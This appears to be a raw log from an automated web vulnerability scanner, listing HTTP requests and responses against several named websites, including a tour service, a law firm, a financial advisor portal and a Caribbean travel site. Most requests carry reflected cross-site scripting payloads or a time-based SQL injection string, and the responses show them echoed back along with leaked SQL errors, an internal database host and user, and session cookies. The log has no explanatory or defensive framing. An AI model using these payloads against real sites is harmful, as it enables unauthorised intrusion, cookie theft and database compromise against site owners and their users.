Referer: http://support.expedia.com/app/home/uurl/http%3A%2F%2Fwww.expedia.com%2Fpub%2Fagent.dll%3Fqscr%3Dflex%26subm%3D1%26city%3DAUS%26citd%3DDTW%26date1%3D%26mnth%3D5%2F1%2F2011%26rgst%3D1%26rged%3D10%26fxst%3D0%26load%3D1%26cAdu%3D1%26rfrr%3D-429%3F
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; s1=`user=v.8,0,EX01528414FE$F4$B5202000X$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$EDIs$A8$FB$27$95$E4$82$AB$89$FB!e02000`131; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819496`188; cp_session=UylSJgVxACRUPAJyAGoEaQRCDBEAA1FsA3EJOlZ2AngBcwR4ACYFPAF7WS1QIlIhACADPQd2VW4AJgM5ASBUdARyXyIBMAUSBHEIMwZEBCJTYFJCBXUAcVRxAn4ANgR9BHAMOwAxUWwDZAl%2FVjcCOwE8BCgANgVAAXBZelA1UnEAYAMXBzVVMwBhAz8BIFQuBGZfawFvBXYEZwhHBnMEdFMxUnYFJwA1VEICNgA%2FBGAEeAx7AGdRMwN2CSRWNgI5AXQEPgBABTcBJVk9UGFSNwA7AyUHLVVxADcDFQEVVFUEUV8iATEFZQQ3CGgGdgRjU3dSNwVGAEJUUgIHAHYENwQ2DDoANFFxA2AJYFZxAmcBFQQoADYFMAFtWWFQI1I8AHcDYgcQVWEAIQNjARJUMQQnXzUBRQVhBGQIMAYzBCJTYFIyBXAAYVR1AiQAdgQ2BEQMbwBwUTcDMwkjVjMCMQE1BCgANwVCATFZP1ByUmYAZAM3ByxVJwBwA3QBZ1REBDJfIgExBWUEOAhuBmMEY1N3UjcFRgA3VCMCYgBlBGYEQQw6ACBRIAM2CRVWZQJxAWMEOwB2BWABcll9UHJSZwAWA3wHYFVmAD0DdAFnVEYEIF96AS8FcQQxCCMGOAQlUw5SKwVxAGNUdQIjADoEagRuDAIAelFJAzYJH1YkAg4BEgQ1ADEFZAFFWUVQB1ICAD8DPQdkVTUAcwNsAWlUIgR%2F; supportsurvey=1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3DundefinedtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%2526function%2520%2528%2529%257Bvar%2520a%253D%255B%2522%257B%2522%255D%252Cb%252Ck%252Cv%253Bfunction%2520p%2528s%2529%257Bif%2528b%2529%257Ba.push%2528%2522%252C%2522%2529%253B%257D%250Aa.push%2528k.toJSONString%2528%2529%252C%2522%253A%2522%252Cs%2529%253Bb%253Dtrue%253B%257D%250Afor%2528k%2520in%2520this%2529%257Bif%2528this.hasOwnProperty%2528k%2529%2529%257Bv%253Dthis%255Bk%255D%253Bswitch%2528typeof%2520v%2529%257Bcase%2522object%2522%253Aif%2528v%2529%257Bif%2528typeof%2520v.toJSONString%253D%253D%253D%2522function%2522%2529%257Bp%2528v.toJSONString%2528%2529%2529%253B%257D%257Delse%257Bp%2528%2522null%2522%2529%253B%257D%250Abreak%253Bcase%2522string%2522%253Acase%2522number%2522%253Acase%2522boolean%2522%253Ap%2528v.toJSONString%2528%2529%2529%253B%257D%257D%257D%250Aa.push%2528%2522%257D%2522%2529%253Breturn%2520a.join%2528%2522%2522%2529%253B%257D%253DtoJSONString%3B

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:53:03 GMT
Server: Apache
P3P: policyref="http://support.expedia.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
Set-Cookie: cp_session=VS9RJQx4ByMBaVcnVT8BbAFHDBFdXgY7AnBaaVZ2UigBc1IuAyUAOQF7ViIGdAh7UXFSbAFwADsAJlVvByYGJgN1AH0HNgUSUSQEPwZEAyVVZlFBDHwHdgEkVytVYwF4AXUMO11sBjsCZVosVjdSawE8Un4DNQBFAXBWdQZjCCtRMVJGATMAZgBhVWkHJgZ8A2EANAdpBXZRMgRLBnMDc1U3UXUMLgcyARdXY1VqAWUBfQx7XToGZAJ3WndWNlJpAXRSaANDADIBJVYyBjcIbVFqUnQBKwAkADdVQwcTBgcDVgB9BzcFZVFiBGQGdgNkVXFRNAxPB0UBB1dSVSMBMgEzDDpdaQYmAmFaM1ZxUjcBFVJ%2BAzUANQFtVm4GdQhmUSZSMwEWADQAIVU1BxQGYwMgAGoHQwVhUTEEPAYzAyVVZlExDHkHZgEgV3FVIwEzAUEMb10tBmACMlpwVjNSYQE1Un4DNABHATFWMAYkCDxRNVJmASoAcgBwVSIHYQYWAzUAfQc3BWVRbQRiBmMDZFVxUTQMTwcwAXZXN1UwAWMBRAw6XX0GdwI3WkZWZVIhAWNSbQN1AGUBclZyBiQIPVFHUi0BZgAzAD1VIgdhBhQDJwB0BycFbFEwBG4GZgNjVWBRWwwpBz8Bb1dkVTgBYQFmDGddMAZqAjxaYFY1UjEBY1I6AzoAMgEiVjoGZwhvUW9ScwE3AHwAKFUlBzcGcAM%2FAHoHWQV8UXIEaAZxA3NVPVFoDGUHXQF8V0lVNQFOAXUMBF1LBmoCMVpgVhFSTgEBUg0DagBvATBWYQZ2CDNRPlIiAS8%3D; path=/
RNT-Time: D=3309637 t=1304722383037218
RNT-Machine: 02
Vary: Accept-Encoding
X-Cnection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 95354

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:rn="http://schemas.rightn
...[SNIP]...
<a class = "noIntercept" href="/app/answers/list/?1cdc4"><a>ac9888ba52a=1/kw/" >
...[SNIP]...

GET /?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488&bfe24"><script>alert(1)</script>d23c10e9ae=1 HTTP/1.1
Host: tours.sapha.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=108127%7C2674799%7C2668748%7C2011-04-22+20%3A01%3A46

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:52:32 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 3378

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/
...[SNIP]...
scs_tsu=aHR0cDovL2FwcHMuc2FwaGEuY29tL2hvb2t0b3VyL3RvdXJzZXJ2aWNlLnBocA%3D%3D&scs_tourid=1488&scs_ac=2546&scs_purl=http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+&scs_tid=1488&bfe24"><script>alert(1)</script>d23c10e9ae=1">
...[SNIP]...

GET /?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+3d405"><script>alert(1)</script>80fbcfd4b8c&scs_tid=1488 HTTP/1.1
Host: tours.sapha.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=108127%7C2674799%7C2668748%7C2011-04-22+20%3A01%3A46

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:13:28 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 3458

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/
...[SNIP]...
hvars" value="scs_tsu=aHR0cDovL2FwcHMuc2FwaGEuY29tL2hvb2t0b3VyL3RvdXJzZXJ2aWNlLnBocA%3D%3D&scs_tourid=1488&scs_ac=2546&scs_purl=http://tours.sapha.com/?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+3d405"><script>alert(1)</script>80fbcfd4b8c&scs_tid=1488">
...[SNIP]...

GET /?scs_sid=2546&scs_tid=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000074)%3C/script%3E69442<script>alert(1)</script>7db2dee7925&scscs=1 HTTP/1.1
Host: tours.sapha.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=108127%7C2674799%7C2668748%7C2011-04-22+20%3A01%3A46

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:05:35 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 603

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: SELECT 1 FROM site_application t1 WHERE t1.site_application_isactive = 1 A
...[SNIP]...
</script>69442<script>alert(1)</script>7db2dee7925<br>
...[SNIP]...

GET /anetseal/?pid=3de2b6f5-d068-4960-b93c-80b3d36d8ffe&rurl=https%3A//www.clone-systems.com/ecommerce/login.php%3Faction%3Dsend_password_emaile4830%20style%3dx%3aexpr/**/ession(alert(1))%20dfd967efe8f HTTP/1.1
Host: verify.authorize.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:17:23 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NOI NID NAV"
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 5955

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<html>
<head>
<title>Authorize.Net Verified Merchant Seal</title>
<meta name="GENERATOR" Content="Microsoft Visual St
...[SNIP]...
<a href= https://www.clone-systems.com/ecommerce/login.php?action=send_password_emaile4830 style=x:expr/**/ession(alert(1)) dfd967efe8f >
...[SNIP]...

GET /buttons/count?url=file%3A///D%3A/acunetix_reports/reports/firstmateonlinecom/blind-sql-injection-xss-dork-cross-site-scripting-poc-report.html44a0a<script>alert(1)</script>21007e051bb HTTP/1.1
Host: widgets.digg.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: d=fb1af30888f0820a9f09d171b75eb93394e3b17bd833ffed352d5b5c4836e393; __utmz=146621099.1304250250.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vnum=1306842255367%26vn%3D1; s_vi=[CS]v1|26DEA3D10501174B-40000100A00037A2[CE]; __utma=146621099.2000529129.1304250250.1304250250.1304250250.1; s_nr=1304250295878

HTTP/1.1 200 OK
Age: 0
Date: Fri, 06 May 2011 20:09:07 GMT
Via: NS-CACHE: 100
Etag: "4ee52e4d9af28f6ad0ba9e9bb34c78553fba3e28"
Content-Length: 205
Server: TornadoServer/0.1
Content-Type: application/json
Accept-Ranges: bytes
Cache-Control: private, max-age=599
Expires: Fri, 06 May 2011 20:19:06 GMT
X-CDN: Cotendo
Connection: Keep-Alive

__DBW.collectDiggs({"url": "file:///D:/acunetix_reports/reports/firstmateonlinecom/blind-sql-injection-xss-dork-cross-site-scripting-poc-report.html44a0a<script>alert(1)</script>21007e051bb", "diggs": 0});

GET /useradmin/Authenticate.asp?GroupId=85732&ComeBack=/useradmin/YourCPPortfolio.asp6348c"><script>alert(1)</script>e788ceeb686 HTTP/1.1
Host: www.advisorsquare.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2188
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDQABRSTCR=DCCHGKOBPLPMPBMHHEMNDHHG; path=/
X-Powered-By: ASP.NET
Date: Sat, 07 May 2011 01:36:54 GMT

<html><head><meta NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"></head><body link=#000000 alink=#000000 vlink=#000000 bgcolor=#ffffff >

<form action="authenticate.asp" method="post">
...[SNIP]...
<input type="hidden" Name="ComeBack" value="/useradmin/YourCPPortfolio.asp6348c"><script>alert(1)</script>e788ceeb686">
...[SNIP]...

GET /useradmin/Authenticate.asp?GroupId=85732f8cb1--><script>alert(1)</script>c3e8d872928&ComeBack=/useradmin/YourCPPortfolio.asp HTTP/1.1
Host: www.advisorsquare.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2233
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDQABRSTCR=HACHGKOBLIOECFPOADGMADDH; path=/
X-Powered-By: ASP.NET
Date: Sat, 07 May 2011 01:36:51 GMT

<html><head><meta NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"></head><body link=#000000 alink=#000000 vlink=#000000 bgcolor=#ffffff >

<form action="authenticate.asp" method="post">
...[SNIP]...
<input type="hidden" name="AdvisorID" value="85732f8cb1--><script>alert(1)</script>c3e8d872928">
...[SNIP]...

GET /useradmin/Authenticate.asp?GroupId=85732e9045"><script>alert(1)</script>8c93197ec3e&ComeBack=/useradmin/YourCPPortfolio.asp HTTP/1.1
Host: www.advisorsquare.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2231
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDQABRSTCR=EACHGKOBOILHIFCFOLHPDECB; path=/
X-Powered-By: ASP.NET
Date: Sat, 07 May 2011 01:36:51 GMT

<html><head><meta NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"></head><body link=#000000 alink=#000000 vlink=#000000 bgcolor=#ffffff >

<form action="authenticate.asp" method="post">
...[SNIP]...
<input type="hidden" name="GroupID" value="85732e9045"><script>alert(1)</script>8c93197ec3e">
...[SNIP]...

GET /nr/alertsArchv.asp?Year=2006431bc<script>alert(1)</script>069fa5b0117 HTTP/1.1
Cookie: ASPSESSIONIDSSSASTRS=AOLLAMJAKHMOMMMNLJCHGNIN
Host: www.brownrudnick.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5
Accept: */*

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Fri, 06 May 2011 18:47:10 GMT
X-Powered-By: ASP.NET
MicrosoftOfficeWebServer: 5.0_Pub
Content-Length: 13992
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSQRDRRTT=KPGCALMBKHIIAMHHIBKADIIJ; path=/
Cache-control: private

<html>

<head>

<meta http-equiv="Content-Language" content="en-us">

<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Brown Rudnick - Alerts and Newsletters -
...[SNIP]...
</i> [Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression '(Year = 2006431bc<script>alert(1)</script>069fa5b0117)'.<br>
...[SNIP]...

GET /nr/articlesindv.asp?ID=554f0bd0<script>alert(document.cookie)</script>ba5591b9a235d6aa<script>alert(1)</script>78389e1a6ea HTTP/1.1
Pragma: no-cache
Host: www.brownrudnick.com
Connection: Keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5
Accept: */*

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Fri, 06 May 2011 18:48:17 GMT
X-Powered-By: ASP.NET
MicrosoftOfficeWebServer: 5.0_Pub
Content-Length: 11278
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSQRDRRTT=EEHCALMBMMHJOCDFIKKJMEBE; path=/
Cache-control: private

<html>

<head>

<meta http-equiv="Content-Language" content="en-us">

<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Brown Rudnick - Articles</title>
<link r
...[SNIP]...
</script>ba5591b9a235d6aa<script>alert(1)</script>78389e1a6ea)'.<br>
...[SNIP]...

GET /accommodation2.php?id=82893ff42<a>78f0dfbcbea HTTP/1.1
Host: www.caribbean-ocean.com
Proxy-Connection: keep-alive
Referer: http://www.caribbean-ocean.com/luxury%20Jamaica%20Resort%20holidays/105
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=lj6iq5k4nck6ah1gcn4059tnpc0iac0k

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:24 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 9767

1054: Unknown column '82893ff42' in 'where clause'<br /><br /><textarea rows="10" cols="100">SELECT area_id AS country_id
FROM accommodation
WHERE accomm_id = 82893ff42<a>78f0dfbcbea</textarea>
...[SNIP]...

GET /accommodation2.php?id=/42305%3balert(1)//992dbf45a018289 HTTP/1.1
Host: www.caribbean-ocean.com
Proxy-Connection: keep-alive
Referer: http://www.caribbean-ocean.com/luxury%20Jamaica%20Resort%20holidays/105
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=lj6iq5k4nck6ah1gcn4059tnpc0iac0k

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:37:42 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 10262

1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/42305;alert(1)//992dbf45a018289' at line 1<br /><br /><textarea rows="10" cols="100">SELECT area_id AS country_id
FROM accommodation
WHERE accomm_id = /42305;alert(1)//992dbf45a018289</textarea>
...[SNIP]...

GET /get-image.php?id=18696b4e6a<a>5d16744a2c HTTP/1.1
Referer: http://www.caribbean-ocean.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.caribbean-ocean.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 15:59:44 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Content-Length: 847
Content-Type: image/jpg

1054: Unknown column '18696b4e6a' in 'where clause'<br /><br /><textarea rows="10" cols="100">SELECT image
FROM image
WHERE image_id = 18696b4e6a<a>5d16744a2c</textarea>
Warning: mysql_num_r
...[SNIP]...

GET /get-image.php?id=1/c0726<a>c9b4bd0777c8696 HTTP/1.1
Cookie: PHPSESSID=56e9tj63arfnmfkpi7rsto854a5vfekl
Host: www.caribbean-ocean.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5
Accept: */*

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 18:58:43 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Content-Length: 844
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: image/jpg

1054: Unknown column 'c0726' in 'where clause'<br /><br /><textarea rows="10" cols="100">SELECT image
FROM image
WHERE image_id = 1/c0726<a>c9b4bd0777c8696</textarea>
Warning: mysql_num_rows
...[SNIP]...

GET /luxury%20Barbados%20Resort%20holidays/918cbea<script>alert(1)</script>7cda621b4b3 HTTP/1.1
Host: www.caribbean-ocean.com
Proxy-Connection: keep-alive
Referer: http://www.caribbean-ocean.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=lj6iq5k4nck6ah1gcn4059tnpc0iac0k

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:56 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 6943

<html>
<head>
<title>Luxury and exclusive Caribbean holidays in luxury</title>

<meta name="keywords" content="Luxury Jamaica holidays, Tobago, Bahamas, luxury St Kitts, luxury St Vincent holidays, SD
...[SNIP]...
<textarea rows="10" cols="100">SELECT *
FROM area
WHERE area_id IN (918cbea<script>alert(1)</script>7cda621b4b3)
ORDER BY area_name ASC</textarea>
...[SNIP]...

GET /luxury%20Jamaica%20Resort%20holidays/1054529a<script>alert(1)</script>38d4ed9b16f HTTP/1.1
Host: www.caribbean-ocean.com
Proxy-Connection: keep-alive
Referer: http://www.caribbean-ocean.com/luxury%20Barbados%20Resort%20holidays/91
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=lj6iq5k4nck6ah1gcn4059tnpc0iac0k

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:37:24 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 6944

<html>
<head>
<title>Luxury and exclusive Caribbean holidays in luxury</title>

<meta name="keywords" content="Luxury Jamaica holidays, Tobago, Bahamas, luxury St Kitts, luxury St Vincent holidays, SD
...[SNIP]...
<textarea rows="10" cols="100">SELECT *
FROM area
WHERE area_id IN (1054529a<script>alert(1)</script>38d4ed9b16f)
ORDER BY area_name ASC</textarea>
...[SNIP]...

GET /ClickContact/js.ashx?Agent=950b13d4-72fe-46ca-891d-8922b0525b3e&img=http%3A%2F%2Fwww.dhmiservices.com%2FImageHandler.ashx%3Fimg_id%3D3824239be"%3balert(1)//e2bc96337d2 HTTP/1.1
Host: www.dhmiservices.com
Proxy-Connection: keep-alive
Referer: http://www.agentadvantage.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 18:40:49 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Length: 653
